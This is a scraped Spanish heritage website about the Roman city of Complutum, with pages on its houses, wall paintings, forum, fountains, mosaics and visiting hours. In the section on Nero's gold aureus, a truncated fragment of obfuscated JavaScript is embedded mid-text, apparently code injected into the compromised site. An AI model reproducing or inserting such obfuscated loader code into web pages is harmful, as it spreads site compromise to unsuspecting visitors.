    La construcción de la casa está fechada en época de Augusto (siglo I d. C),  hecho que se establece gracias al hallazgo de una moneda que fue encontrada en el interior de uno de los muros de la fachada.

    Seres fantásticos en las paredes

    Recreación en 3D de la Casa de los Grifos

    Hasta la fecha, se han localizado diecisiete estancias en la vivienda.

    Respecto a su estructura, el centro del edificio lo ocupa un peristilo con jardín (viridarium) rodeado por un pasillo porticado (ambulacrum), que era la mayor fuente de luz y ventilación de la vivienda.

    La mayoría de las estancias se abren a esta zona central y se han localizado varias cubícula (estancias privadas o dormitorios), un tablinium (zona de recepción de visitas o clientes), un oecus o triclinium (comedor principal) y otras habitaciones con una clara función artesanal y comercial. 

    Lo que hace de esta vivienda algo realmente excepcional son los restos de pinturas murales que se han encontrado en doce de sus estancias. De hecho, el nombre que se le ha dado, Casa de los Grifos, responde a la representación de dos grifos, –criaturas mitológicas cuya parte frontal es la de un águila y la parte posterior es la de un león-, enfrentados en una pintura mural de una de las habitaciones.

    En las pinturas aparecen desde elementos arquitectónicos, como zócalos, cornisas, columnas jónicas o mármoles, a animales y seres mitológicos como los propios grifos , el dios Sol/Apolo/Helios o Júpiter transformado en cisne.

    Detalle de pintura mural de la Casa de los Grifos de Complutum.
    Detalle de la pintura mural de uno de los Grifos

    Las pinturas murales están realizadas sobre las paredes de las estancias, preparadas específicamente para ello con morteros de cal y arena a los que se les han añadido fragmentos cerámicos y ceniza.

    Las paredes se preparaban con entre dos y cinco capas diferentes de mortero para garantizar la correcta adhesión de las pinturas.

    Respecto a las técnicas, se han documentado pinturas al fresco, como los fondos monocromos de grandes paneles, y en seco, para los motivos decorativos figurativos, bandas y líneas de encuadramiento.

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    • Todos los Sábados a las 10:00h.
    • Punto de encuentro en la caseta del Guía.(Hasta completar aforo de 30 personas por orden de llegada).
    • Duración aproximada 1 hora.
       

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  • Casa de Marte

    Casa de Marte

    Vista aérea de la Casa de Marte,con sus principalaes espacios
    Vista aérea de la Casa de Marte,con sus posibles espacios

    1.Pórticos de la calle. 2.Vestíbulo. 3.Atrio. 4.Tablinum. 5.Triclinium.6.Cubiculum.7.Cocina.

    La Casa de Marte, de 225 m2, así llamada a causa del hallazgo de un magnífico anillo de oro con gema representando a Marte, en lo que tal vez era la ocultación de un pequeño conjunto de artículos de escritura.

    Está distribuida en torno a un patio central.

    Propuesta de restitución de la configuración exterior de la casa de Marte,con el pórtico,y mostrando la apertura del tejado en un compluvium para recibir el agua de lluvia.Las fachadas aparecen lisas,en realidad estarían revocadas y pintadas.Imagen AAHC,RQ,ALSM.
    Propuesta de restitución de la configuración exterior de la casa de Marte,con el pórtico,y mostrando la apertura del tejado en un compluvium para recibir el agua de lluvia.Las fachadas aparecen lisas,en realidad estarían revocadas y pintadas.Imagen AAHC,RQ,ALSM.

    Los trabajos arqueológicos llevados a cabo en la excavación permitieron conservar sus baldosas y un pozo, que son visibles actualmente.

    Esta vivienda contaba además con  un vestibulum o entrada, un salón o tablinium pavimentado con opus signinium, un posible triclinium y un cubiculum (dormitorio).

    También se han recuperado abundantes fragmentos de revestimiento mural pintado.

    Anillo de oro con gema representando a Marte
    Anillo de oro con gema representando a Marte
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    • Todos los Sábados a las 10:00h.
    • Punto de encuentro en la caseta del Guía.(Hasta completar aforo de 30 personas por orden de llegada).
    • Duración aproximada 1 hora.
       

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  • Casa del Atrio

    Tres ejemplos de ‘domus’

    La denominada Manzana VII es uno de los primeros lugares que podremos ver durante la visita a la ciudad de Complutum.

     Se encuentra en las cercanías del Foro y alberga tres domus (casas) individuales.

    La mitad Norte está dividida en dos viviendas, la Casa de Marte al Oeste y la Casa del Atrio al Este.

    La mitad Sur la ocupa una sola vivienda, la Casa de la Lucerna de la Máscara Trágica.

    La construcción de las viviendas está datada a finales del  siglo I d.C.  aunque posteriormente (entre mediados del IV y el V d.C.) las tres viviendas fueron sometidas a diferentes reformas y finalmente abandonadas.

    Vista de las viviendas de la Manzana VII de Complutum.
    Ubicación de la Manzana VII en Complutum

    Casa de la Lucerna de la Máscara Trágica

    Se trata de una vivienda privada de unos 450 m2 que ocupa la mitad sur de la manzana.  Inicialmente se construyó con un patio trasero pavimentado con opus testaceum en principio y después con opus signinum, y con un pozo. La vivienda cuenta con 17 estancias, distribuidas a cada lado de la entrada (vestibulum), situada en el centro. Varios de estos espacios han sido interpretados como tabernas o comercios (tabernae), estando por lo tanto desvinculados a la vivienda. Además, ésta  contaba con dos entradas, la principal en la fachada Sur y otra en la parte Oeste. Fue construida a mediados del siglo I d.C., reformada posteriormente y en uso hasta el siglo V. Su nombre proviene del hallazgo de una espectacular lucerna de bronce decorada con una máscara teatral cómica (identificada como el personaje de “el esclavo listo”), encontrada durante las labores arqueológicas.

    La máscara de bronce antes y después de su restauración

    Casa de Marte

    La casa de Marte está distribuida en torno a un patio central. Los trabajos arqueológicos llevados a cabo en la excavación permitieron conservar sus baldosas y un pozo, que son visibles actualmente. Esta vivienda contaba además con  un vestibulum o entrada, un salón o tablinium pavimentado con opus signinium, un posible triclinium y un cubiculum (dormitorio).

    Canalización de las viviendas de la Manzana VII de Complutum.
    Planta de la Casa de Marte
    Restos arqueológicos de la Casa de Marte.
    Restos de la estructura de la Casa de Marte

    Casa del Atrio

    Junto a la Casa de Marte, y de iguales dimensiones, encontramos la Casa del Atrio, catalogada por los especialistas como domus de atrio trasero de tipo toscano (por la disposición de su patio).  Esta vivienda estaba pavimentada en principio con opus signinum (mortero de cal y fragmentos de cerámica)  y posteriormente con opus spicatum (pavimento cerámico dispuesto con forma de espiga). Además contaba con una zona de recogida de aguas, un depósito y una fuente en la zona central de la vivienda. Entorno a ella se han documentado también dos posibles dormitorios (cubicula), un salón (tablinium) pavimentado con opus signinum y un posible comedor (triclinium).

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  • Catálogos

    Catálogos sobre Complutum

    Aquí puedes consultar y descargar los principales catálogos de las exposiciones que se han ido publicando a lo largo de estos años a cerca del yacimiento arqueológico de la ciudad de Complutum.

    Están ordenados por AUTORES en índice alfabético.

    • A-Z
    Complutum, Roma en el interior de la Península Ibérica I,II,III CATÁLOGO
    Complutum, Roma en el interior de la Península Ibérica.Volumen I,II,III

    Rascón Marqués,Sebastián
    (Editor)

    1998
    Máximo Espartaco y otras estrellas del espectaculo. Catálogo Exposición CATÁLOGO
    Máximo Espartaco y otras estrellas del espectaculo. Catálogo Exposición

    Rascón Marqués, Sebastián 

    2001
    La Ciudad Romana Arqueológica CATÁLOGO
    La Ciudad Romana Arqueológica

    Rascón Marqués, Sebastián
    (Editor)

    2003
    Complutum, la ciudad de las ninfas CATÁLOGO
    Complutum, la ciudad de las ninfas.Catálogo Exposición

    Rascón Marqués, Sebastián
    (Editor)

    2004
    Guía-Catálogo Complutum, ciudad romana CATÁLOGO
    Guía-Catálogo de Complutum, Ciudad Romana.Guías Arqueológicas de Alcalá de Henares.Volumen I

    Sánchez Montes,Ana Lucía y Sebastián Rascón Marqués.

    2011
    Ciudad romana de Complutum y Casa de Hippolytus CATÁLOGO
    Guía CIUDAD ROMANA DE COMPLUTUM Y CASA DE HIPPOLYTUS

    Rascón Marqués,Sebastián
    (Editor)

    2021
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    Actualidad Ya disponible en nuestro canal de Youtube el Encuentro de buenas prácticas en torno al … Leer + Actualidad Un Pais Mágico , Complutum en La 2.El mago Miguel de Lucas visita la ciudad … Leer + Noticias El Parque Arqueológico Complutum les desea Feliz Navidad y Próspero Año Nuevo!.IO SATURNALIA!! AVE, SOL … Leer + Previous Next HORARIOS Youtube Instagram Envelope
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  • Ciudad de Complutum
    Auguraculum

    El yacimiento arqueológico

     El Parque Arqueológico de Complutum cuenta con dos recintos visitables, el recinto Foro y Regio II y la Casa de Hippolytus.

    El recinto Foro y Regio II, situado en la Avenida del Juncal nº 12 de Alcalá de Henares, comprende los restos arqueológicos de parte de la ciudad romana de Complutum, entre los que se encuentran  algunas viviendas,  los edificios públicos, el Auguraculum y la Casa de los Grifos.

     Aquí puedes encontrar información relacionada con ello:

    Manzana VII

    Vista de las viviendas de la Manzana VII de Complutum.

    La Manzana VII es uno de los primeros lugares que podremos ver durante nuestra visita a Complutum y comprende tres viviendas privadas con diferentes características.

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    Edificios Públicos

    Edificios públicos

    Todas las ciudades del Imperio Romano contaban con una serie de edificios al servicio de la población que estaban destinados a labores administrativas, políticas, religiosas y de ocio.

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    Auguraculum

    Auguraculum

    Auguráculum era el nombre con el que se conocía en Roma a los lugares donde se practicaba la adivinación y diversos rituales. En Complutum encontramos un edificio con esta función.

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    Infraestructuras

    Pozo del peristilo de la Casa de los Grifos.

    Complutum, como todas las ciudades de nueva construcción del Imperio, contaba con un moderno sistema de alcantarillado y de abastecimiento de aguas que daba servicio a toda la ciudad.

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  • El áureo de Nerón

    Medio sueldo en una moneda

    [responsivevoice_button voice = “Spanish Female” buttontext=”Escucha el texto”] Las excavaciones realizadas en Complutum han permitido encontrar un gran número de monedas que han ofrecido información muy valiosa para datar el yacimiento. Entre las diferentes monedas encontradas cabe destacar una moneda de oro de la época de Nerón, un áureo, quizá la moneda con más valor encontrada en la ciudad complutense. La moneda fue localizada junto a la Casa de los Grifos,  sobre el pavimento más antiguo de la calle, lugar donde alguien debió perderla hace dos mil años. La casualidad quiso que un arqueólogo la encontrara durante las labores de construcción de la cúpula que protege en la actualidad esta espectacular vivienda. De esta forma, el áureo proporcionó información sobre el momento en el que se construyó el edificio.
    Anverso y reverso de un áureo de época de Nerón.
    Anverso y reverso del Áureo de Nerón
    Descripción: Áureo acuñado en Roma en el año 63 d.C. Anverso: busto de Nerón laureado mirando a la derecha con leyenda “Nero Caesar Augustus”. Reverso: alegoría de Concordia sedente mirando hacia la izquierda sujetando una cornucopia y una pátera con la leyenda “Concordia Augusta”.

    El dato

    Un áureo equivalía al salario de medio año de un soldado raso del Imperio, por lo tanto su valor era altísimo en aquella época. Es decir, la persona que perdió el áureo en Complutum dejó por el camino lo que hoy serían varios miles de euros. El áureo era la moneda de oro romana que se acuñó desde la República hasta la creación del sólido bizantino a inicios del siglo IV. Equivalía a 25 denarios (1 denario era una moneda de plata) y a 400 ases (el as era la moneda de bronce). Se trataba de la moneda de mayor valor en aquel momento y se utilizaba fundamentalmente para realizar los pagos de los impuestos, que solo se podían hacer en plata o en oro. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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  • El expolio de la ciudad

    La segunda vida del patrimonio

    [responsivevoice_button voice = “Spanish Female” buttontext=”Escucha el texto”] Durante la Antigüedad tardía, los edificios públicos de las ciudades en Hispania cayeron en desuso y comenzaron a ser amortizados. El debilitamiento de la administración y las instituciones locales, unido a las nuevas necesidades de los ciudadanos, provocó que se reutilizaran los espacios públicos y sus materiales constructivos para construir nuevas estructuras. Complutum no fue una excepción. La ciudad de Complutum es un ejemplo más de ciudad amortizada para la construcción de nuevos edificios en otros emplazamientos, como el Campo Laudable o el castillo musulmán de ‘Alcalá la Vieja’. Se sabe que la ciudad fue abandonada entre los siglos IV y V d.C. Gran parte de sus edificios fueron desmontados para recuperar sus materiales de construcción. En la antigüedad, no era algo extraño, ya que tras el abandono de las ciudades y el derrumbe de sus edificios, los materiales que se podían reutilizar eran recuperados y vendidos de nuevo.
    Materiales constructivos en el Torreón de Tenorio
    Ubicación de material constructivo de Complutum reutilizado en la Torre de Tenorio del palacio Arzobispal
    Torreón de la Fuente del Palacio Arzobispal con inscripción romana.
    Ubicación de material constructivo de Complutum reutilizado en el Torreón de La Fuente del palacio Arzobispal
    Posteriormente, durante los siglos XVII, XVIII y XIX, el yacimiento fue objeto de una intensa actividad arqueológica concebida para el coleccionismo. El resultado de esta actividad dejó a la vista grandes zanjas de expolio que los arqueólogos siguen encontrando actualmente.
    Zanja de expolio en la Casa de los Grifos
    Zanja de expolio visible en la Casa de los Grifos

    El dato

    Los Annales Complutenses se hacen eco de cómo parte de los materiales extraídos de Complutum se utilizaron para levantar otras construcciones en Alcalá de  Henares:

    Estas y otras piedras que han consumido el tiempo, eran testigos del antiguo sitio de nuestro Compluto y apenas se hallará edificio grande en esta villa que no tenga parte de sus despojos”.

    La huella que Complutum ha dejado en Alcalá de Henares es visible aún en el siglo XXI en lugares como la Catedral Magistral, donde se pueden identificar tambores de columna, sillares tallados y piezas singulares. Entre ellas destacan una cupa funeraria y varios epitafios de los que aún se conservan sus inscripciones.
    Materiales constructivos en La Magistral
    Ubicación de material constructivo de Complutum reutilizado en la fachada de La Magistral
    Además de las huellas visibles en la ciudad, existen referencias escritas sobre el aprovechamiento de los materiales de Complutum. Así, en los Annales Complutenses, se describe cómo los árabes destruyeron Complutum para fortalecer con sus ruinas el castillo de ‘Alcalá la Vieja’:
    La fortificaron los moros con piedras y otros materiales que del despojo de los edificios de la ciudad de Compluto subieron a ella”. Annales Complutenses.
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  • El primer médico de Madrid

    El médico que fue ‘retratado’

    Detalle de la representación de un médico en el mosaico de Aquiles.
    Fragmento del mosaico de Aquiles representando la figura de un médico
    [responsivevoice_button voice = “Spanish Male” buttontext=”Escucha el texto”] El primer médico de Madrid pudo ser una de las personas que vivían en Complutum en la antigüedad. Aunque se desconoce su identidad, los arqueólogos han podido identificarle en uno de los mosaicos recuperados en las primeras excavaciones de Complutum. El personaje en cuestión aparece en el mosaico de Aquiles, perteneciente a una gran sala pavimentada del Mausoleo de Aquiles. Este mausoleo estaba situado a las afueras de la ciudad, en una de las principales áreas funerarias de Complutum.

    El dato

    La escena principal del mosaico representa a Aquiles dispuesto a matar a la reina de las amazonas, Pentesilea, que es representada caída y con la rodilla en tierra. Se trata de una escena perteneciente a La Ilíada de Homero, contextualizada en la Guerra de Troya. Este impresionante mosaico, que se encuentra en el Museo Arqueológico Regional, cuenta con cuarenta cuadros figurativos que rodean el emblema principal, Aquiles y Pentesilea. En uno de los cuadros aparece un personaje togado, con diadema, pelo corto con un bucle hacia arriba, barba y calzado con botas que responde a la representación romana de un médico. Analizando el resto de la iconografía que aparece en el mosaico, se puede identificar también al centauro Quirón. Éste representa la introducción de la Medicina en Occidente. Aparecen también otros dos dioses vinculados a los panteones orientales ligados a la medicina: Zeus Ammon y Hera Ammonia. De este modo, parece que el Mausoleo de Aquiles fue un edificio dedicado a un médico complutense que aparece retratado de frente  y rodeado de símbolos de su profesión.
    Trabajos de restauración del mosaico de Aquiles.
    Imagen de la restauración del mosaico de Aquiles
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  • Estructura urbana

    Complutum Imperial

    Vista general de la estructura urbana de Complutum
    Vista del Foro desde la fachada monumental

    Los restos arqueológicos de Complutum que podemos visitar actualmente responden al momento de máximo esplendor de la ciudad, alrededor del siglo IV d.C. Fue construida en época de Augusto en la confluencia de los ríos Henares y Camarmilla, en una gran llanura, en lo que hoy es Alcalá de Henares.

    La ciudad tenía una extensión de unas  50 hectáreas y estaba rodeada por amplios suburbios. Contaba con una estructura ortogonal, dispuesta en manzanas cuadradas conformadas por el cruce de las calles que atravesaban la ciudad de Norte a Sur (llamados cardos) y de Este a Oeste (denominados decumanos). Las manzanas medían 30 x 30 metros, a lo que había que sumar también la medida de los pórticos, dando lugar a manzanas de alrededor de 35,90 metros, lo que sería un  1 x 1 actus, medida romana que equivalía a 120 pies.

    Dos calles principales atravesaban la ciudad perpendicularmente, el Cardo Máximo y el Decumano Máximo. En el lugar en el que se cruzaban se establecía el Foro,  donde se levantaban los edificios públicos más importantes de la ciudad.

    El dato

    La estructura de las ciudades romanas tiene su origen en los campamentos militares del ejército romano, los castrae. Éstos eran de planta rectangular y estaban divididos en cuatro secciones mediante dos grandes calles, el decumanum y el cardus. En la intersección de ambas calles se levantaba el praetorio o residencia del cónsul, sustituido posteriormente en las ciudades de nueva planta por el Foro. Muchas ciudades actuales surgieron a partir de campamentos militares, como es el caso de León, Legio IV victrix, pero esta estructura militar también fue utilizada para la construcción de ciudades de nueva planta como Complutum.

    El formato de calle que se conoce principalmente en Complutum es de 12 metros de ancho, dividido en 6 metros de calle y un pórtico de 3 metros a cada lado de la misma. Este esquema se repite en la mayoría de las calles de la ciudad aunque en las zonas de los edificios públicos hay ciertas alteraciones. La ciudad contaba también con un sistema de saneamiento y abastecimiento de agua y una elaborada red de alcantarillado fechada a mediados del siglo I d.C.

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  • Foro

    El Foro

    El Foro estaba situado en la zona central de la ciudad de Complutum, en la confluencia del Decumano III  y el Cardo Máximo.

    Como es habitual, era una plaza, donde se encontraban los edificios con función:

    • ADMINISTRATIVA

    • JUDICIAL

    • COMERCIAL

    • RELIGIOSA

    Animación sobre la estructura hipotética del Foro de la Ciudad de Complutum
    Hipótesis de la ubicación del Foro en la Ciudad de Complutum

    En Complutum solo ha llegado hasta nosotros parte del Foro, ya que el resto quedó bajo los edificios construidos en los años 70 tras el crecimiento de la ciudad de Alcalá de Henares. Esta parte de las ciudades solía sufrir bastantes reformas,  ya que era el escaparate de la prosperidad de sus ciudadanos.

    En el Foro complutense se distinguen dos periodos constructivos: uno del siglo I d.C. y otro del siglo III d. C.

    FORO SIGLO I

    Se construyó en época del emperador Claudio y contaba:

    • BASÍLICA CIVIL

    • TERMÁS PÚBLICAS:

      TERMAS NORTE

    • ZONA COMERCIAL PORTICADA

      Albergaba varias tiendas y talleres artesanales.

    • MERCADO

    FORO SIGLO III

    Sufrió una importante reforma:

    • BASÍLICA CIVIL:

      Se hace una ampliación. SANTUARIO.

    • CURIA:

      Lugar de reunión del GOBIERNO LOCAL . (Esto nos indica la importancia de la Ciudad de Complutum en Hispania)

    • CRIPTOPÓRTICO

      Espacio semisubterráneo que sirvió como acceso a la Curia y a la Basílica.

    • FACHADA MONUMENTAL

      Gran pared de piedra, con grandes columnas revestida de mármol, rematada con esculturas.

    • ZONA COMERCIAL PORTICADA

      Nuevo suelo.

    • PLAZA

    • TERMAS PÚBLICAS:

      TERMAS SUR

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    VISITA GUIADA AL YACIMIENTO GRATUITA

    • Todos los Sábados a las 10:00h.
    • Punto de encuentro en la caseta del Guía.(Hasta completar aforo de 30 personas por orden de llegada).
    • Duración aproximada 1 hora.
       

    Si estás interesado en tener más información, consulta nuestro ARCHIVO, donde tendrás toda la documentación actualmente publicada.

  • FUENTES

    Aguas con propiedades saludables

    El abastecimiento de agua en las ciudades del Imperio se realizaba mediante la recogida del agua de la lluvia o el aprovechamiento de manantiales y pozos.

    El agua de los ríos no era considerada saludable por los romanos ya que éstos eran el lugar para verter las aguas contaminadas.

    Recreación virtual de la Fuente de El Juncal de Complutum.
    Representación de la fuente de El Juncal

    La ciudad de Complutum contaba con dos fuentes conocidas desde la antigüedad por sus propiedades saludables: la fuente de El Juncal y la fuente de La Salud

    Eran dos fuentes gemelas situadas a las afueras de la ciudad que indicaban la llegada a Complutum desde Toledo. Ambas eran entendidas como ninfeos (monumentos consagrados a las ninfas).

    La primera, la fuente de La Salud, se encontraba cerca de la puerta occidental de la ciudad y junto a la orilla derecha del río Henares.

    La fuente de El Juncal formaría parte de un área de fuentes y manantiales de aguas mineralizadas que se consideraron milagrosas hasta el siglo XVII.

    Fuente El Juncal
    Manuel Azaña junto a su padre y su hermano mayor, en la fuente de El Juncal hacia 1889. Ateneo de Madrid.

    El dato

    Interesante fotografía de la fuente de El Juncal en la que aparecen Manuel Azaña, todavía niño, su padre Esteban y su hermano Gregorio. Esta imagen nos permite conocer el estado de la fuente a finales del siglo XIX.

    Aún en la segunda mitad del siglo XVII, la fuente de El Juncal era un centro de celebraciones religiosas donde se desarrollaba una procesión con las imágenes de los Santos Justo y Pastor, actualmente patronos de la ciudad de Alcalá de Henares.

    Ésta discurría desde el Paredón del Milagro a la fuente de El Juncal, donde se hacía algún tipo de inmersión y consumo de aguas, y al río. Estaríamos ante la cristianización de una práctica pagana, una celebración vinculada a la diosa Diana y a las Ninfas.

    El aspecto que actualmente tienen ambas fuentes es fruto de las restauraciones sufridas en el siglo XIX tras ser expoliadas para aprovechar sus materiales constructivos.

    Estado actual de la Fuente del Juncal.
    Fuente de El Juncal
    La fuente de la Salud
    Fuente de La Salud
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  • Gayo Annio y Magia Atia

    Benefactores de un Collegium Iuvenum

    Los Anios fueron una importante familia complutense y su historia ha llegado hasta nosotros gracias a la epigrafía, en concreto a las inscripciones del mosaico de la Casa de Hippolytus y del ara del Mausoleo de los Anios, que forma parte del mismo edificio.

    Cartel con el nombre del autor del mosaico de la Casa de Hippolytus
    Inscripción del artista Hippolytus en el mosaico de los peces

    Sobre ellos sabemos que fueron los benefactores de la Casa de Hippolytus, la sede de una agrupación colegial integrada en un gran complejo. El propio edificio ofrece información sobre su nivel económico y sus refinados gustos. La casa contaba con una zona termal decorada con mosaicos y pinturas, entre los que hay que destacar el mosaico con una escena de pesca de tradición iconográfica norteafricana y el jardín de inspiración oriental. Los Anios tenían un gran interés por la cultura de estilo oriental, un gusto muy caro que solo podían permitirse familias muy adineradas. El hecho de ser benefactores de una fundación como la de la Casa de Hippolytus, también nos permite imaginar su nivel económico.

    Mosaico de tema mediterráneo de la Casa de Hippolytus.
    El mosaico de los peces de la casa de Hippolytus

    El dato

    La epigrafía, por otro lado, ofrece información relativa al origen de los Anios a través de sus nombres (nomen, praenomen y origo). El nombre de Gayo era bastante común y muy utilizado, sobre todo en la Galia, y podría ocultar un nombre nativo de origen celta. El nomen y el praenomen de ella, Magia Atia, parecen ser de origen hispano.

    La inscripción está consagrada a Hércules, Dios de los negocios, el comercio y los viajeros, cuyo culto era bastante popular en toda la Península y sin duda para los Anios. Datar esta inscripción resultó difícil, pero según el tipo de letra utilizado y la indicación del origen de la familia, Clunia, la colocan a finales del siglo I o principios del II d.C., cronología que tiene una clara relación con la ciudad de Complutum.

    ara romanaAra recuperada en 1881 en el mausoleo de los Anios.
    Está dedicada a Hércules por el propio Gayo Annio y su esposa Magia Atia:
    HERCULI SACRUM G*ANNIUS*ET MAGIA*ATIA CLUN*EX*VOT

    Consagrado a Hércules. Cayo Annio y Magia Atia, clunienses, en cumplimiento de un voto“.

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  • Hippolytus

    El museicista complutense

    Hippolytus fue el pictor imaginarius (artista encargado de diseñar el mosaico) que firmó el famoso mosaico que da nombre a la Casa de Hippolytus. Sobre él se sabe muy poco, tan solo lo que se ha podido averiguar estudiando el mosaico, que tiene un  claro estilo africano. La representación de fauna y paisajes marítimos estaba muy ligada en esta época al mundo mediterráneo, pero la mayoría de paralelos que podemos encontrar del mosaico de Hippolytus se encuentran en el norte de África. Allí este género está presente en muchos edificios, como es el caso del mosaico de Sousse.

    Mosaico de la Casa de Hippolytus
    El mosaico de los peces de la casa de Hippolytus

     El campo geométrico del mosaico tampoco es muy común en Hispania, aunque encontramos composiciones similares en la Casa de Leda. Sin embargo sí es muy frecuente en África desde finales del siglo II, donde podemos encontrar ejemplos en varias ciudades tunecinas. De aquí surge la teoría de que Hippolytus pudo ser originario del Norte de África.

    El dato

    Otro dato que nos da pistas sobre el origen de Hippolytus es el material utilizado para el mosaico, ya que se trata de materiales importados como el verde tunecino usado en los peces. Por otro lado, el interés por la cultura oriental que parecían tener los propietarios, basándonos en la existencia del jardín oriental instalado en la casa, podría reafirmar esta teoría.

    Cartel con el nombre del autor del mosaico de la Casa de Hippolytus
    Inscripción del artista Hippolytus en el mosaico de los peces

    Lo cierto es que no se puede conocer con certeza el tipo de relación que Hippolytus mantenía con los Anios, si fue una relación laboral puntual o si por lo contrario era su esclavo. Tampoco es posible documentar si Hippolytus era un artesano itinerante o estaba establecido en Complutum, ya que no es normal que un artesano o un esclavo dispongan de tanto espacio para firmar su obra. Lo que si podemos constatar es que debió ser alguien importante, por lo menos para la familia de los Anios.

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  • Historiografía

    Complutum en las fuentes clásicas

    Las primeras referencias escritas sobre la ciudad de Complutum se encuentran en las fuentes clásicas, en los textos de Tito Livio, Ptolomeo y Plinio, así como en el Itinerario de Antonino y en el Anónimo de Rávena. Pero los únicos escritos de época clásica que han llegado hasta nosotros son los epígrafes (inscripciones realizadas sobre un soporte duro como piedra, cerámica, metal, etc).  Su interpretación ayuda a completar y ampliar lo que cuentan los autores clásicos y a reconstruir la vida cotidiana  de una ciudad como Complutum.

    Ya en el Bajo Imperio  (finales siglo III-V d.C) comienzan a aparecer más noticias sobre la pervivencia de la ciudad y el martirio a los Santos Niños, transmitidas por autores cristianos como Aurelio Prudencio Clemente y Paulino de Nola.  Posteriormente, tras la desarticulación del Imperio y la llegada de los visigodos, se encuentran nuevos datos sobre la ciudad referentes de nuevo a los Santos Niños  a causa del redescubrimiento de sus sepulturas por parte del obispo toledano Asturio.

    Complutum vista general
    Panorámica del Parque Arqueológico

    Desde el Renacimiento hasta la actualidad, diversos autores relataron la actividad llevada a cabo en Complutum, relacionada principalmente con la búsqueda de material antiguo y el coleccionismo. Entre las obras publicadas en ese periodo destacan  “La obra, el martirio, la intervención, las grandezas y las traslaciones de los gloriosos Niños Mártires San Justo y Pastor” de Ambrosio de Morales de 1568 y  los “Annales Complutenses” de 1652.

    En las épocas Moderna y Contemporánea, lugares como el Paredón del Milagro y la Fuente de El Juncal continuaron teniendo un valor emblemático, en parte por ser los únicos restos romanos visibles de la ciudad de Complutum. 

    El dato

    En 1833 se dio el primer permiso de excavación para intervenir en la ciudad de Complutum a José Cassano. Desde entonces, parece que la actividad en el yacimiento fue continuada. Así, entre 1893 y 1897 se excavaron amplias zonas, llegando a constituirse un Museo Arqueológico Complutense en 1882 ubicado en el Palacio Arzobispal. 

    Hasta los años 70 en Complutum no se lleva a cabo una excavación utilizando criterios metodológicos modernos.  Una parte del crecimiento de la ciudad se desarrolló sobre la parte más oriental de Complutum, afectando a lo que sería buena parte de su casco urbano. Dimas Fernández Galiano dirigió las intervenciones de urgencia pero fue imposible excavar la totalidad de los terrenos afectados por el desarrollo urbanístico. Se consiguieron recuperar una buena colección de mosaicos y documentar diferentes estructuras urbanas. 

    A partir de 1982 la ciudad de Alcalá intenta recuperar su pasado protegiendo los restos de la ciudad de Complutum con la finalidad de crear un Parque Arqueológico, que empieza a hacerse realidad tras la declaración de Bien de Interés Cultural (BIC) del yacimiento.  Entre 1999 y 2012 se abren al público la Casa de Hippolytus y el recinto Foro y Regio II.

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  • HORARIOS
    Estos horarios son orientativos ya que pueden modificarse por actividades programadas
    o por necesidades que se detecten por parte del Servicio de Arqueología Municipal.
       
    Todos sábados se realiza una visita guiada gratuita para el público general a las 10:00 de la mañana. (Aforo limitado a 30 personas – No es necesario realizar reserva previa)

    COMPLUTUM

    reapertura-complutum-2020

    HORARIO DE INVIERNO

    • De OCTUBRE a ABRIL:

    10:00 -14:00

    16:00 -18:00

    *Los LUNES permanecerá cerrado,

    excepto aquellos que sean festivos.

     

    HORARIO DE VERANO

    • De MAYO a SEPTIEMBRE:

    10:00 -14:00

    17:00 -20:00

    *Los LUNES permanecerá cerrado,

    excepto aquellos que sean festivos.

    C/Camino del Juncal esquina Jimenez de Quesada.

    CASA DE HYPPOLITUS

    actualmente realizando obras de restauración

    EL SIGUIENTE EMPLAZAMIENTO SE ENCUENTRA CERRADO AL PÚBLICO POR OBRAS DE RESTAURACIÓN

    HORARIO DE INVIERNO

    • De OCTUBRE a ABRIL:

    10:00 -14:00

    16:00 -19:00

    *Los LUNES permanecerá cerrado,

    excepto aquellos que sean festivos.

     

    HORARIO DE VERANO

    • De MAYO a SEPTIEMBRE:

    10:00 -14:00

    17:00 -20:00

    *Los LUNES permanecerá cerrado,

    excepto aquellos que sean festivos.

    Avd. Madrid S/N

    + Reservas:

    Entrada gratuita a Complutum

         Teléfono

    Para visitas en grupo hay que realizar reserva llamando a la Oficina de Turismo de Alcalá de Henares.

    (+34) 91 881 06 34

    Ver horarios y otras vías de contacto

    + Información:

    Teléfono

    Puedes contactar con nosotros a través del teléfono

    (+34) 91 887 17 50

    Correo electrónico

    Puedes escribirnos a través del correo electrónico:

    redpatrimonio@ayto-alcaladehenares.es

    DÍAS FESTIVOS CERRADO

    25 de Diciembre.

    1 y 6 Enero.

    24 y 31 de Diciembre

    sólo se abrirá en horario de mañana.

     

  • Jardines orientales

    Pelícanos y un ‘lujo’ oriental

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    La sociedad hispana incorporó el gusto romano por el arte de la jardinería tanto en espacios públicos como privados. Este gusto había sido heredado a su vez de la cultura griega y las influencias orientales, y es que cuando Roma se convirtió en una gran urbe se impuso la idea de llevar parte del campo a la ciudad. Se construyeron jardines en las casas y las villas e incluso jardines públicos en torno a los templos. En las viviendas se instalaron jardines en torno al peristilo y también en el exterior. El gusto por la naturaleza en época romana ha quedado constatado por el hallazgo de magníficos jardines de trazado geométrico decorados con esculturas, fuentes y pequeñas construcciones como cenadores en ciudades como Pompeya.

    Reconstrucción virtual del jardín de la Casa de Hippolytus.
    Recreación de los jardines orientales de la Casa de Hippolytus

    En Complutum encontramos un ejemplo de este tipo de jardines en la Casa de Hippolytus, donde ha sido posible documentar su arquitectura, su fauna y su flora. Se encontraba en la fachada oriental del edificio y se prolongaba hacia el sur hasta encontrarse con el mausoleo de los Anios.

    La arquitectura vinculada al jardín consistía en un paseo de tierra batida flanqueado por dos filas de exedras semicirculares que hacían la función de bancos corridos construidos en tapial y revestidos de pintura o mármol. Sobre ellas se levantaba una celosía que soportaba unos toldos de lona. También se han documentado una fuente o estanque y podios para sostener elementos decorativos como columnas o cráteras (grandes vasijas de cerámica).

    El dato

    Los análisis faunísticos han desvelado la existencia de varias mascotas: palomas y sobre todo pelícanos, animales traídos del Mediterráneo Oriental.

    Los análisis de semillas, pólenes y fitolitos han permitido reconstruir las especies botánicas existentes en el jardín, siendo parte vegetación autóctona (pinos, encinas y robles) y parte vegetación de tipo oriental importada (cedros, jazmines, tilos y palmitos). Esta colección botánica se ha traducido como la mayor muestra de refinamiento cultural documentada en la España romana.

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  • La vivienda romana (II)

    La Casa de Los Cupidos

